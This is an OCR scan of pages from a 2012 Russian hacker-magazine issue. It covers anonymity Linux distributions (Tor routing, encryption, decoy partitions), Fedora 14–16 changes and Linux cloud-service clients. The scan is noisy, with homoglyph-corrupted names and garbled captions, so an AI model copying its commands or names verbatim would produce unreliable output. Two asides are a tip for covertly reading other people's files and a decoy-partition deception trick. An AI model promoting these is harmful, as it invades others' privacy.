устанавливается еще и РаХ, который ограни­

чивает доступ к страницам памяти процессов

!например, делает сегмент данных недоступ­ным для исполнения], что позволяет защитить

системные процессы от многих ошибок пере­

полнения буфера. Этот подход используется

в Libeгte Liпux, который построен на основе

ядра Haгdened Gentoo, уже включающему в себя оба патча .

Другой подход заключается в использова­

нии системы SELinux или АррАгmог совместно с двумя упомянутыми ранее патчами !или вместо них, но это глупость] . Эти системы

принудительного контроля доступа позволя­

ют запускать приложения в изолированном

окружении, так что сбой !читай взлом] одного из них не повлечет за собой проблем в других.

Подход с использованием АррАгmог реализо­

ван в операционке quantOS, которая, по за­явлениям ее создателей, гарантирует полную

изоляцию приложений друг от друга.

Еще более радикальный поход заключается

в применении гипервизоров для запуска каж-

Liberte Linux собственной nереоной

ХАКЕР 03/158/ 2012

дога приложения на отдельной виртуальной

машине. Смысл такого перегруза заключается

в тотальном разделении приложений, так что

даже если взломщику каким-то чудом удастся

повысить свои привилегии до суперпользо­

вателя и за грузить в ядро свой код, уязвимым

будеттолько одно приложен и е, так как каждая

виртуальная машина работает под управлени­

ем собственного ядра. Такой зубодробитель­

ный способ защиты используется в дистри­

бутиве QubesOS, которому в нашем журнале была посвящена отдельная статья !« Младенец с лицом убийцы>>, ][_07_2010].

НЕДОСЯГАЕМЫЕ БАЙТЫ Защищенность личных данных пользовате­

ля- это вторая важная особенность лю-

бой безопасной ОС. Многие дистрибутивы,

предназначенные для анонимизации юзера

в Сети, обеспечивают ее с помощью спосо-

ба, который хирург из известного анекдота

назвал бы ампутацией ненужного органа .

Такие дистрибутивы распространяются в виде

LiveCD, который, даже будучи установленным на флешку, сохраняет все данные пользова­

теля на RАМ-диске , уничтожаемом во время

перезагрузки.Спосо~ конечно, действенный,

но слишком топорный .

Более интересный вариант состоит вис­

пользовании шифрованного хранилища

на базе ТгuеСгурt или LUKS/dm-cгypt, которое

расшифровывается во время загрузки после

ввода пароля. Благодаря современным на­

работкам реализовать такую систему очень

просто, тем более что она в готовом виде

присутствует в дистрибутивах Ubuntu, Fedoгa и многих других . Она также имеется в дис­

трибутивах TailsiThe Amnesiac lncognito Live System] и Libeгte Linux, причем в последнем в качестве хранилища используется крипто­

ванный образ диска, находящийся в отдель­

ном каталоге. По мере записи в него личных

Remov.able media can Ье discoмected now. _ Before dtsconnecting. make sure that any 1/0

activity on the device has stopped.

Свобода через изоляцию

Процесс загрузки Liberte

данных пользователя образ растет, но его

в любой момент можно удалить, в результате

чего система вернется к исходному послеуста­

новочному состоянию.

Многие системы также включают в себя на ­

бор инструментов для создания зашифрован­

ных файлов и каталогов . Чаще всего для этого

исп ользуется известный инструмент ТгuеСгурt

с удобным графическим интерфейсом. Напри­

мер, он входит в Наvеп l www.haven-pгoject . oгg ].

Однако иногда разработчики дистрибутивов

прибегают к более изощренным решени-

ям. Дистрибутив Pгivatix включает в себя

инструмент шифрования съемных носителей

UsbCгyptFoгmat и утилиту для резервного

копирования шифрованных томов CгyptBackup

собственной разработки. В плане поддержки

прозрачного шифрования данных особенно

примечателен дистрибутив Ubuntu Pгivacy Remix lwww. pг ivacy-cd .oгg ], созданный для работы в локальном окружении, без доступа

к сети lзадействование LAN/WLAN/Biuetooth запрещено]. В его арсенале имеется фронт-энд

собственной разработки для GnuPG, интегри­руемый с Nautilus и позволяющий выполнять шифрование, создавать подписи и генери­

ровать ключи с помощью контекстного меню

lв Наvеп те же функции выполняет инструмент

Seahoгse]. Также дистрибутив использует так называемые расширенные ТгuеСгурt-тома

lв собственной терминологии авторов проекта] для сохранения данных, накопленных пользо­

вателем во время работы !например, настройки

приложений, словарь OpenOffice, ключи GпuPG и т. д.]. Всё это работает прозрачно и не требует каких-либо дополнительных действий со сто­

роны пользователя.

Кроме систем шифрования, дистрибути­

вы могут включать в себя вспомогательные

инструменты, которые помогают скрывать

и защищать информацию от посторонних. На­

пример, в набор приложений Tails входит ин­струмент МАТ l mat.boum . oгg ], который удаляет

метаданные иэ файлов различных форматов

!изображений, документов и т. д.], для того чтобы убрать иэ них любое упоминание об ав­

торе. Haven имеет еще более интересные воз­можности, например, он позволяет шифровать

содержимое буфера обмена в один клик, что

можно использовать для быстрой передачи

малого объема данных [скопировал строку-

105

Page 108: Xakep 03_2012

UNIXOID

Congratulations. Your browser is configured to use Tor.

Pluse ntlar to the ~ COf" l'urther inform.~tion aЬout using Тог safaly. You &re now fnМ to Ьrowse the lntemet anonymously.

-·-;",..-;.., _.,. __ ••••a.u.m.11 __ .. ::".:'~:.:"..:·~:"~ ..... ~ .... liiiЬ ... -.II~~.....W...-..L!Iai..МU....J.J.iU8~~~11111.1W.

floiSI8ofll~llllrllo~ Doo .IIOitiaweWмe 1 ttrrl!w 'w--~

The Amnesiac lncognito Live System

нажал на значок в трее- вставил в письмо).

Менеджер файлов Nautilus, входящий в тот же дистрибутив, оснащен плагином , который

предназначен для << полного >> удаления файла

через контекстное меню. Перед удалением

файл забивается случайными данными, так что

ни один инструмент восстановления данных

не сможет его найти.

АНОНИМУСЫ ИДУТ Обеспечение анонимности пребывания

в интернете-третья важная особенность

безопасного дистрибутива. Как и в случае

с защитой данных, некоторые дистрибутивы

подходят к решению этого вопроса радикаль­

но. Например, Ubuпtu Pгivacy Remix вообще не позволяет выходить в Сеть, в том числе

посредством Bluetooth и даже И К-модуля. Поддержка всего этого хозяйства намеренно

удалена из ядра Liпu x, что позволяет пре­

вратить ком пьютер в этакий бастион, который

можно использовать для спокойной работы

с важными секретными данными .

Другое дело- дистри бутивы, в которых из­

начально предусмотрена возможность выхода

в Сеть . В них анонимность обеспечивается

с помощью всем известного инструмента Тог,

который пробрасывает соединение через

множество сетевых узло в , так что его концы

оказываются хорошо спрятаны. В обычной

ситуации Тог прикидывается стандартным

прокси, на работу с которым следует настро ить

браузер и другое ПО . Н о как быть в ситуа-

ции, когда через Тог необходимо пробросить

абсолютно все соединения , так чтобы ни одн о

из них н е утекл о в Сеть обходным путем?

Дистрибутивы Ta ils и Наvеп решают эту проблему очень просто: брандмауэр пере­

направляет все соединения на Тог-прокси,

исключая любые утечки трафика в обход

<<анонимной сети». Однако разработчик Libeгte

Liпu x предупреждает, ч т о такой подход тео­

ретически небезопасен, так как , инициируя

соединение традиционным пут ем, приложение

получает информацию о внешн ем IР-адресе

106

Рабочий стол Haven 05

машины и может выдать его в случае сбоя или

по недосмотру разработчиков приложения.

П оэтому в Libeгte Linux применяется другой подход: все входящие в дистрибутив сетевые

приложения настраиваются на работу через Тог

lприложения, н е умеющие работать с прок-си, запускаются с помощью обертки toгify), а

брандмауэр запрещает любые исходящие сое ­

динения. Та кая схема позволяет избежать как

утечки IР-адре са, т ак и установления внешних

соединений в обход Тог. Пр и этом разрешены

только следующи е типы внешних соединений:

DНСР-запросы и Тог-соединения судален ­

ными НТТР IS)-портами;

ответы на piпg при ограничении их количе ­

ства в секунду;

созда нны е пользователем VРN-соедине н ия;

соедине ния , инициированныеспециаль­

ным <<небезопасным браузером», который

используется для регистрации в точках

доступа.

П ередаваемые по DHCP данные при этом сильно урезаются, а передача имени хоста,

ARP и 1Pv4LL блокируется. Чтобы обеспечить

приватность работы в локальных и Wi-Fi­ceтяx, применяются рандомизаторы МАе­

адресов. В некоторых дистрибутивах они

досту пны в виде опции, однако в Lib eгte Liпux

М АС-адрес генерируется динамически во

время загрузки.

СУРОВОЕ ЛИЦО Если говорить о пользовательском интерфейсе

ди стри бутивов для анонимусов, то здесь все

очень прозаично: стандартны е среды Gпome,

LXD E или Fluxbox, набор стандартных прило­жений вроде Fiгefox, claws-mail, AЬiwoгd и т. д., плюс джентльменский набор ПО для ведения

скрытой деятельности . Он-то нас и интересует.

Н екоторые стандартные приложения для

безопасного времяпрепровождения мы уже

рассмотрели в предыдущих разделах, одн ако

на них список интересных софтин, конечно же,

не заканчивается . Особенно любпытен в этом

плане Ta ils, в который разработчики пихают всё, что только можно представить, так как их

не смущает большой объем дистрибутива. На­

пример, в него входит графический фронт-энд

для Тог-клиента Vidalia lwww.toгpгoject . oгg/ pгojects/vidalia l, который позволяет запускать/ останавливать Тог-демон, просматривать

количество прошедшего через Тог трафика,

мо н иторить состояние демо на и т. д.

Дистрибутив включает в себя три расши­

рения для браузера Fiгe fox, обеспечивающи е

безопасность веб-серфинга: расширение

toгbuttoп, которое блокирует содержащийся

на веб-странице активный контент вроде

JavaScгipt-кoдa, Flash и т. д .; инструмент

FiгeGPG lgetfiгegpg.oгg ), позволяющий при­менять gрg-операции к любым элеме нтам

веб-страницы, например, подписывать или

зашифровывать выделенный фрагмент текста;

расширение НТТРS Eveгywheгe lwww. eff.oгg/

ОБМАНКА ДЛЯ ~ ПОЛЬЗОБАТЕЛЕИ WINDOWS

При установке на флешку дистрибутив

Наvеnnроделываетодининтересныйтрюк

с таблицей разделов, благодаря которому

рядовой пользователь Windows не сможет даже найти систему на брелке. Дистрибутив создает

доnолнительный nустой раздел размером

100 Мб в начале адресного nространства, а саму ОС и пользовательское пространство

размещает в следующих разделах . Windows << не видип> остальные разделы, nозтому

nользователю nокажется, что на флешке

ничего нет, а ее объем составляет 100 Мб . Для

nущей убедительности в этот раздел можно

накидать разных документов, а для отвлечения

внимания- nорнографических картинок.

ХАКЕР 03/158/2012

Page 109: Xakep 03_2012

https-eveгywhe гe l, принудительна переклю­чающее браузер на использование протокола

НТТРS, если сайт его поддерживает.

Те же расширения идут в комплекте с дис­

трибутивом Наvеп, однако его арсенал ими

не ограничивается. Здесь ты найдешь бонус

в виде пяти дополнительных полезных рас­

ширений:

RefCoпtгol- производит спуфинг НТТР­

поля НТТР-геfеггег, скрывая отсайтов их

доноры, то есть сайты, с которых произошел

переход.

CookieSafe- позволяет управлять уста­новкой кукисов в браузер для выбранных

сайтов .

• AdBiock Рlus-блокируетрекламу. RequestPolicy- позволяет выявлять меж­сайтовые запросы и управлять ими [защита от CSRF-aтaкl. Peгspectives- позволяет проверять

подлинность самоподписанных SSL­сертификатов.

Некоторые дистрибутивы также включа-

ют в себя известный инструмент Аiгсгасk-пg

для исследования Wi-Fi-ceтeй и генераторы

паролей, устойчивых к подбору [например,

PWGeп в Tailsl. Для безопасной переписки с по­мощью X-chat используется расширение GPA [GNU Pгivacy Assistaпt: gpa .wald . intevat i on.oгg l, а плагин SASL [ ygгek.oгg.ua/p/cap sasl.htmll обеспечивает анонимную переписку через Тог.

В арсенале Libeгte Liпux также имеется менед­

жер управления па ролями Figaгo's Passwoгd

Manageг 2 [ l s . гegпet . cz/fpm2/l , который шифрует

все сохраненные пользователем парали с помо­

щью алгоритма AES-256 . Интересная особен­ность почти всех безопасных дистрибутивов

заключается в наличии экранной клавиатуры

[Fioгence: f l oгeпce . sf.net l, которая использу­

ется для обхода кейлогерров, внедренных

в ядро или в какие-либо библиотеки времени

исполнения . Фишка тут в том, что, в отличие

от хардварной клавиатуры, нажатия клавиш

которой перехватить проще простого, экран­

ная клавиатура управляется мышью, которую

бесполезно перехватывать- получишь только

- V1daL1a Contro l Panel

status

Connected to the Tor network!

••• Vidalia Shortcuts

@яорТоr Setup Relaying

View the Network ~ Use а New ldentity

""- вandwidth Graph ~ Help (t About

l@ Message Log Settings f3 Exit

"1 Show this window on startup Hide

Графический инструментуправпения Tor

ХАКЕР 03/158/ 201 2

Свобода через изоляцию

Eile f.dit ~ew .Q.o jlookmarks Jools Y[indow J:!elp

Г'

NewTab Back

Congratulations. You are using Tor.

Please refer to the Тог webs~e for

Libeгte: Тог и ничего кроме

координаты точки на экране. Все приложения

собраны с использованием инструментария

Haгdened Geпtoo , предназначенного для сборки

проекта. Этот инструментарий включает та кие

патчи, как SSP [защита от переполнен и я стека

и буфера! и ASLR [рандомизация распределе­ния памяти!.

ДРУГИЕ ИНТЕРЕСНОСТИ В этом разделе я хотел бы рассказать обо всем

интересном и полезном, что не вошло в пред­

ыдущие разделы. В основном это различные

трюки и просто занимательные решения,

использованные разработчиками дистрибути­

вов. Одна из интересных особенностей Наvеп

заключается в том, что он не настраивает сеть

автоматически. Предполагается, что если

пользователю сеть не нужна, то лучше полно­

стью избавить его от всех возможных проблем.

После того как пользователь убедится в рабо­

тоспособности демона Тог, статус которого ука­

зывает значок в трее, он сможет самостоятель­

но запустить сеть [то бишь NetwoгkManageгl с помощью меню Applicatioпs -7 Staгt Netwoгk .

Вторая занятная вещь в Haven- зто нали-чие полностью работоспособного комплекса

Тог Ьгоwsег bundle [преднастроенная версия Fiгefox и демона Тог! для Windows. Ты в лю-бой момент можешь скопировать его в так

называемый обманный раздел флешки [про него читай во врезке! с помощью одного клика мышью [Application -7 Наvеп -7 Сору Windows Toolsl, передать флешку другу, и он тоже станет анонимусом. Haven легко установить на другую флешку с помощью встроенного инсталлятора.

Просто воткни брелок в свободный USВ-порт,

выбери в меню пункт Applications -7 Haven -7 Наvеп lnstalleг, и дистрибутив скопируется

на флешку. Естественно, без твоих личных

настроек и данных. Кстати, по дефолту Haven подключает все съемные носители в режиме

<<только чтение>>, что позволяет незаметно

просматривать чужие файлы [время доступа

не со х раняется!.

В L i beгte Liпu x также есть несколько

хитры х методов для защиты личны х данных .

Один из них- это бл ок ировка экрана с помо­

щью утилиты slock [ too l s.suck l ess.oгg/s l ock l.

Но одной блокировки тут явно недостаточно .

Чтобы взломщик не смог обойти блокира-

тор с п о мощью комбинации <Ait + Fx>, она запрещена в настройках сервера. На время

лока также отключаются системные Linuх­

комбинации SysRq, с помощью которых мож­но убить Х-сервер или перезагрузить машину.

Вторая фишка Libeгte- зто так называемый

«безопасный браузер>>, который использует­

ся для регистрации в точках доступа . Браузер

работает под управлением выделенного

пользователя, имеющего минимальные права

доступа, а также имеет собственные правила

в iptaЫes, разрешающие коннекты только

на определенные порты веб-регистрации.

Большинство безопасных дистрибутивов

используют несколько методов зачистки жест­

кого диска и памяти во время установки или

завершения работы. Например, устройство,

на которое происходит установка, полностью

зачищается путем забивки области памяти

нулями или случайными данными. Это нужно

для того, чтобы убрать следы предыдущей

установки или навсегда затереть конфиденци­

альные данные . Для защиты от атак типа Cold boot, возможных благодаря тому, что после выключения ком па информация в оперативной

памяти сохраняется еще несколько секунд/ минут, память полностью затирается перед

выключением.

ВМЕСТО ЗАКЛЮЧЕНИЯ Собственно, на этом можно и закончить. Мы

рассмотрели большинство технологий, ис­

пользуемых в дистрибутивах для анонимусов .

Теперь тебе решать- установить какой-либо

из описанных в статье дистрибутивов или при­

менить отдельные методики на своем компе. ::х::

107

Page 110: Xakep 03_2012

UNIXOID

МИНИ-ОБЗОР ЗАСЛУЖИВАЮЩИХ ВНИМАНИЯ ИЗМЕНЕНИЙ В ПОСЛЕДНИХ ВЕРСИЯХ FEDORA

П о следние верс ии д и стр и бут и ва Fedo гa выделяются

нескол ь кими и нтересными и даже и н н ова ционным и

изм е н е ни ям и . Fedoгa 14 перешл а на с и стему и н и циал и зации

Syste md, в Fedoгa 15 SETUID-б ит в приложениях з амен е н

технолог и е й CapaЬil i t i es , в шестн адцато м рел и зе

о суще ствлен переход на загрузчик GRUB2 и убрана система HAL. Разработчики также приняли решен и е в будуще м

пере с мотр еть структуру катало гов, которая почти не менялась

со времен UNIX.

a..W.il!l$1•1 Стандартная с и стема ини циализации SysV, доставшаяся «пингвину» в наследство от UNIX, всегда обладала недостатком, порожденным

ее же простотой . Она позволяла запускать

набор системных сервисов во время загрузки

и завершать их во время шатдауна, но не имела

никакихсредств для адекватно гоконтроля

их исполнения. В результате разработчикам

приходилось идти на различ н ые ухищрения ,

чтобы учесть последовател ьност ь за п уска

этих самых сервисов, о птимизировать загрузку

ОС и контролироват ь ис п олн е н ие демонов,

которые имеют свойство п ериодически п адать

из-з а нех ватки ресурсов, ОоS-атак и ошибок

в коде . Появилась разрозне н ная сеть сложных

скриптое инициализации, попутно вызываю­

щи х множе ство подсобных утилит вроде cut, gгер, awk и им подобных. Она очень легко ру­шилась при малейшей модификации. В общем,

простота породила сложность, которая с года­

ми всё больше росла и мешала .

108

В конце концов терпение разработчиков

лопнул о , и они создали систему инициализа ­

ции Systemd, которая решила все проблемы разом . Она стала контролировать последова­

тельность запуска сервисов и и х исполнение

и даже позволила отказаться от громоздких

скриптов, предоставив встроенные средства

для подготовки сервисов к запуску. При этом

первых двух целей удалось достичь весь -

ма ори гинальн ым и одновременно п ростым

с п особом, а име нн о п утем заблаго в реме нн о го

созда н ия файл-сокета се р виса.

Systemd вошла в Fedoгa 14 в качест ве опции, но уже к следующему релизу преврати­

лась в ста ндартную систему запуска/контроля

сервисов. Е е поддержка была еще больше рас­

ширена в Fedoгa 16lбыли переписаны мно гие устаревшие скрипты инициализации!.

CAPABILIТIES VS SETUID Ис п олняемые файлы с SЕТUIО-битом- бич

всех н иксов. Найдут в каком-нибудь piпg дыру

Максим «hatchet» nолевой [maks.hatchet laya ndex.rul .

Рабочий стол Fedora на основе Gnome 3

-и всё, система в опасности . А всё потому, что

piпg имеет S ETUID - бит, наделяющий его права­

ми гооt , которые нужны только для того , что бы

создавать сырые IRAWI со кеты . И не важно, что piпg всеми средствами пытается ограничить

время использования повышенных прав, ве­

роятно сть ошибки- штука непредсказуемая,

тем более что опасность несет не только piпg,

но и ftp и куча других софтин, гораздо более сложных и жадных до гооt- п рав. Как снизить

риски в этой ситуа ции? Ис п ол ьзовать SELiпux?

Слишком толсто, особенно с учетом то го, что

многие пользователи не понимают и имеют

привычку отключать его. П озволить софтина м,

не имеющим прав гооt, создавать RАW-сокеты

и привилегированные порты? Еще большая

дыра в безопасности . Ах да , у нас же есть шту­

ковина под названием Capabilities! Что такое Capabil ities? Это система деле­

гирования повышенных прав «по кусочкам» ,

своего рода аналог SETUID, наделяющий , одна­

ко, процесс не полными, а част и ч ными права ми

ХАКЕР 03/158/2012

Page 111: Xakep 03_2012

гооt, например, позволяющий создавать RАW­

сокеты или устанавливать привязку к приви­

легированным портам. Благодаря CapaЬilities,

ping'y можно дать права только на создание RАW-сокетов, и даже если взломщик найдет

в нем дыру, он не получит ничего, кроме .. . да, права на создание RАW-сокетов. Какая досада,

не правда ли?·

Первоначально механизм CapaЬilities поя­

вился то ли в HP-UX, то ли в AIX. Он уже давно включен в стандарт POSIX, однако о нем никто не вспоминал, пока не появилась возможность

управлять привилегиями с помощью атрибутов

файловой системы в ядре Linux 2.6.24.

КАТАЛОГОВАЯ СТРУКТУРА Еще одна интересная идея, предложенная

для реализации в следующих версиях Fedoгa,

заключается в реорганизации каталоговой

структуры, почти не менявшейся со времен

UNIX. Эта идея состоит в том, чтобы пере­местить все исполняемые файлы в /usг/Ьin, отказавшись, таким образом, от каталогов /Ьin, /sЬin, /usг/sЬin, а также от каталога /lib, всё со­держимое которого планируется nеренести в

/usг/lib . Нововведение это не только и не столь­

ко косметическое, сколько глубоко практиче­

ское. Дело в том, что, по мнению разработчиков

дистрибутива, /Ьin, /sЬin и /lib уже давно по­теряли свой смысл как каталоги для хранения

базовой системы, которая может быть загруже­

на, даже если каталога /usг нет на месте lв ста­рые времена его было принято подключать

с помощью NFSI. В то же время перемещение всех системных файлов в /usг позволит создать более гибкую систему, чтобы выполнять такие

трюки, как, например, загрузка разных версий

системы с помощью монтирования разных /usг-

#define САР _CHШ.JN 0 #define CAP_DAC_OVERRIDE 1 #define CAP_DAC_READ_SEARCH 2 #define САР _FШ.JNER 3 #define CAP_FSETID 4 #define CAP_KILL 5 #define САР _SETGID Б #define САР _SETUID 7 #define CAP_SETPCAP 8 #define CAP_LINUX_IMMUTABLE 9 #define CAP_NET_BIND_SERVICE 10 #define CAP_NET_BROADCAST 11 #define CAP_NET_ADMIN 12 #define CAP_NET_RA~ 13 #define CAP_IPC_LOCK 14 #define CAP_IPC_O~NER 15 #define CAP_SYS_MODULE 15 #define САР _SYS_RAIOO 17 #define CAP_SYS_CHROOT 18 #define CAP_SYS_PTRACE 19 #define CAP_SYS_PACCT 20 #define CAP_SYS_ADMIN 21 #define CAP_SYS_BOOT 22 #define CAP_SYS_NICE 23

Сnисок Capabllities ядра Linux

ХАКЕР 03/158/2012

:::::.=---~-·

:::5::: ·-=:: ___ ...,_ :-

--------· ____ ,_ .. _ Графический инструмент уnравления Systemd

разделов или, что еще круче, Ыгf-снапшотов.

К сожалению, многие старые пердуны ,

привыкшие к миру и сnокойствию и радею­

щие за соблюдение традиций, выеказались

против этой идеи, подкрепив свои слова тем,

что, дескать, есть стандарт LSB и что придет­ся договариваться с разработчиками софта

и другими дистрибутивостроителями, поэтому

перспективы реализации описанной идеи пока

еще туманны.

ДРУГИЕ ИНТЕРЕСНЫЕ ИЗМЕНЕНИЯ В 15-ю версию Fedoгa был добавлен демон

fiгewalld, позволяющий изменять правила па­

кетного фильтра на лету, без перезагрузки всех

правил и разрыва сетевых соединений. Так

как для управления демоном служит протокол

0-BUS, им может воспользоваться любое при­ложение с соответствующими полномочиями.

Для уnравления демоном из командной строки

предусмотрена утилита fiгewall-cmd, с по­

мощью которой можно работать с правилам и,

отталкиваясь от имен служб, а не IР-адресов

и номеров портов:

$ firewall-cmd --еnаЫе --service=ssh $ firewall-cmd --еnаЫе \

--service=samba --timeout=18 $ firewall-cmd --disaЫe \

--service=ipp-client

В комплекте с той же Fedoгa 15 идет рас­пределенная файловая система CloudFS, пред­ставляющая собой расширенную редакцию

виртуальной ФС GlusteгFS, которая nредназна­

чена для развертывания распределенных фай­

ловых систем. CloudFS работает в пространстве пользователя, поэтому может быть легко

установлена в других Linuх-дистрибутивах для

создания гетерогенного кластера.

В Fedoгa 15 также изменилась схема име­нования сетевых интерфейсов, которая теперь

выглядит следующим образом: встроенным

в материнскую плату llelmbedded lmlotheгboaгdl сетевым адаптерам присваиваются имена emO, em1, em2 и т. д., тогда как платы, подключаемые с помощью PCI, получают имена вида pci1#2, где 1- номер РС I -слота, а 2- сетевой порт.

Начиная с 15-й версии, Fedoгa можно устано­

вить на файловую систему Ыгfs средствами

штатного инсталлятора. Btгfs отличается высо­

кой производительностью и дружелюбностью

fedora 1

""'" ............ !М()

дост,..._rt••••••• мllwn-w• .. ~· ·--·· ,~~ .... ~ ... ,.-.

· -~· ··­ит,.ас• о , .................. _ ..... ~~о~Мо~~.,

·:::::;:; 0 3-••м·-~-·-•н ,..,... [) (мм••...,.._,.,,...-_ О_

Установка Fedora на btгfs

Федорина счастье

-.... 1

. ... _ , • ам"

к твердотельным накопителям !запись в ФС всегда производится в режиме COW- копиро­вание nри записи!, а также имеет встроенную поддержку онлайн-снапшотов, что позволяет

в любой момент создать снимок текущего

состояния ФС и откатить ее к предыдущему со­

стоянию. В Fedoгa 16 произошел переход на за­грузчик GRUB2, отличающийся интеллектуаль­ным подходом к формированию меню загрузки

IGRUB сам находитустановленные ОС/ядра и добавляет их в список!, поддерживающий UNICODE и обладающий полноценным графи­ческим интерфейсом. Из системы также была

полностью удалена прослойка HAL IHaгdwaгe Abstгaction Layeгl, вместо которой теперь ис­пользуется udev совместно с udisks и upoweг, предназначенными для управления дисковыми

накопителями lв том числе и для выполнения

автомонтированияl и контроля питания. За счет удаления HAL удалось сократить время загруз­ки системы и ее реагирования на подключение

внешних устройств.

Fedoгa 16теперьсодержитвкомплектеути­

литу viгt-sandbox, nредназначенную для заnу­

ска приложений в изолированном окружении .

В отличие от selinux-sandbox, новая утилита может использовать для формирования <<nе ­

сочницы» любую технологию, поддерживаемую

библиотекой libviгt, например контейнеры LXC или виртуальную машину QEMU/ViгtuaiBox.

Дистрибутив теперь поддерживаеттех­

нологию безопасной загрузки Tгusted Boot, гарантирующую неизменность ядра и си­

стемных компонентов во время загрузки ОС

и, таким образом, предохраняющую систему

от различных руткитов и другого вредоносного

ПО, внедряемого непосредственно в ядро ОС.

Для реализации технологии в систему был до­

бавлен специальный модуль, вызываемый еще

до загрузки ядра, однако он бесполезен без

соответствующей аппаратной поддержки .

Также реализована система проброса

USВ-устройств на удаленные машины, которая

позволяет обесnечить, например, доступ к wеЬ­

камере с другой машины. Система работает

на основе интегрированного в Fedoгa 14 про­токола удаленного доступа Spice и виртуаль­ной машины QEMU. П роброс nроисходит в два этапа : сначала на виртуальную машину, а затем

на удаленную, где осуществляется обратная

nроцедура проброса устройств на реальную

машину. :::к:

109

Page 112: Xakep 03_2012

UNIXOID Евгений Зобнин lzobniniOgmail.coml

АТЬ до небес ИНТЕГРИРУЕМ LINUX

И <<ОБЛАЧНЫЕ>> СЕРВИСЫ

Все мы медленно, но верно переходим к работе во Всемирной паутине, забывая

привычные настольные приложения. Современный мир немыслим без Gmail, YouTube, GDocs и огромного количества веб-сервисов, заменяющих нам обычные программы . Но так ли нужен веб-браузер, чтобы пользоваться «облачными»

приложениями?

должна ыть операционная система,

полностью за вязанная на << обла ч ные » при ­

ложения ? Такой, как ОС-браузер, например

Google Chгome 05? Или, может быть, такой, как пресл о вутый Plan9, не делающий различий между л окальными и сетевыми ресурсами?

Нет, скорее всего, она будет nредставпять

собой нечто с реднее между ними, то есть опе­

рационку, позволяющую <<ходить в .. облака">> и тем и другим с пособом.

Подвижки в создании подобной ОС нача­

лись уже давно . Те же стандартные окружения

рабочего стола для Liпux уже на учили с ь син­

х ронизировать данные пользователя с <<облач­

НЫМ >> х ранилищем IUbuntu One], проигрывать видеозаписи из YouTube в окне стандартного медиапроигрывателя ITotem, наnример, умеет зто уже несколько лет] , выводить информацию с веб-страниц на рабочий стол lвиджеты КОЕ и Google Gadgets] и использовать множество други х способов интеграции с веб-сервисами.

В этой статье я расскажу, к ак еще более

расширить границы соnрикосновения веба

до <<облако в >> из командной строки и nре­

вратим файловую систему в инструмент для

работы с <<облаками >>.

КЛ И Е НТЫ << ОБЛАЧНЫХ» СЕРВИ СОВ С веб-сервисами не всегда удобно работать из окна веб-браузера. Тот же Twitteг, напри­

мер, на широком экране занимает максимум

nолстраницы, а вытаскивать окно Твиттера

из браузера, nодгонять размер этого окна

и следить за тем, чтобы случайно его не за­

крыть, долго и н еудобно. К тому же панель

навигации будет меша ть . Гора здо круче

nосадить Т виттер в трей, чтобы о н nоказы­

вал новые сообщения в виде всплывающих

подсказок. Как это сделать? Да просто

воспользоваться одним из Тwittег-клиентов .

Почти для каждого п о п улярного ве б-сер виса

для Liпu x есть созданный энтузиастами

клиент. Среди Тwittег-клиентов наибольшей

nоnулярностью nользуется Gwibbeг, кото­

рый, п омимо Твиттера , поддерживает еще

и обычного Linu х-десктопа . Мы рассмотрим

множество приложений для работы с <<об­

лачными >> сервисам и , попробуем достучаться

и ldenti.ca, StatusNet, Fa cebook, Fl ickг, Digg, Fг ie ndFeed и Qaiku. Приложение это, надо сказать, на любителя, так как оно очень тя­

желовесное и зависит от различных Gпоmе­

библиотек. Поэтому ценителям аскетизма Tyrs- аскетичный Тwittег-клиент для консоли

110 ХАКЕР 03 /158/201 2

Page 113: Xakep 03_2012

Достучаться до небес

•••••••••••• ~ ;:, ·' "' 6.-' В. ~ ~ · & ... t3 НО.аt~ IКIIIДKI 'a.:J ~+Т

art+N

• Устройс:тва.Аrd'оld • ctrome Sjnc • Почтовые кпиенты, ~ Microsolt OU1Iook • КtМентыча.та,~GО<9!ТаkИ1111АIМ Н0.0. 01\ОЮ 1 !МЖ- -оnмто Shit+Ctf1+N

~дкм ) Чтобы восnоJЪзова.ТhСЯ ЗТWr.1И f1МГ1С!Ж~. сначаланеобхоДимо сrенермровать nаролм nрмо•ен11i . затем их

~ авест м е соответ~ ГIOJ1A rtJWI()Жei-МA вместо своеrо oбыLiiOI'O napotiR. дпя каждоrо 1'1Мf'10ЖеtМЯ нужно генерировать свой naporь . ~

\ B~IIT~~o Копмроеа~ естнмn. 1

PI~ Tet!CTI О nосмотриrе RИдео о narюnяx mиnoжetмii!

!;iсохр-т~о ст~ttМцукак ... Ctrf+S C!ri+F

ctrt+P 1 l::tайтм .. . шаг lмs 2. Со3Д8.Ате новыill парель nрмложенмя QЬ [}e'I8T8 .. .

введите название, чтобы не :sа.бьnъ. к какому 11рИfЮ1КеtИ0 относится naporь:

Рее~ J::tc:Topltll имя: !gcx9e-docs 1 соsдатъ rщюгь Д14Смтчер аад~ st.ift+EIC.- ЗWруакм ~~~Android" "Gm8illнauoeи•Pflone• 'GOO{Ielllll( "o..ctook-~ю.n.ю1ep·, ·т~

~ <NмсТМП. д- npoc!OOTpo8... Shift+Ctrf+Deletl CМIЩ)OНI'IIмtMII С М118')'МТОМ toЬnine9m8il .com Соо6щмn. о (JI06ne-...

tsодмровка

"- n .... пpw > *о'~

nаролм ~ипо~ дата соtдаtмЯ Дата nосnедн«о мсnолЬ2оваtМА

\lk>coд...W код стр~-.1

ИНс:Тр)'М~ТW p81p86oT-I

Кoиi;~}W&S<npl

ctri+ U Гlросмотреn. фоноll~ CTPIIИ..IW (lS) ctrome OL12.20U 01.12.2011 ~~

еа·mаМ OL12.20U 02.12.2011 ~] Shift+ Ctfi+l QJ tnJ!aeк• Shift+Ctt1+J :;;.с=.'"'..,.-.---- a/O"oid 09.01.2012 09.01.2012 ~1

Вот так, леrким движением руки, любой сайт можно превратить в десктопное приложение Создаем па роль для нawero Gооglе-приложения

я бы порекомендовал посмотреть в сторону

Рiпо или Hotot. И тот и другой доступны в любом дистрибутиве, так ч т о установить их

и попробовать в деле не составит труда. Осо­

бого внимания также заслуживает TweetDeck -стильный Тwittег-клиент, который особо

ценят пользователи маков. Одна беда- он

требует Adobe AIR, что неприемлемо для многих юниксоидов. Поклонники I М-клиента

P i dgiп должны обязательно обратить внима­

ние на Тwittег-плагин для своего фаворита [ он так и называется- pidgiп-twitteг) . Это

даже более удобный и удачный вариант, не­

жели полноценное приложение : всё в одном

месте и никаких лишних окон. П оклонники

консоли также не останутся без вкусного.

В репазитариях дистрибутивов предостаточ­

но Тwittег-клиентов с интерфейсом команд­

ной строки или пcuгses. Один из самых

простых и удобных написал всем известный

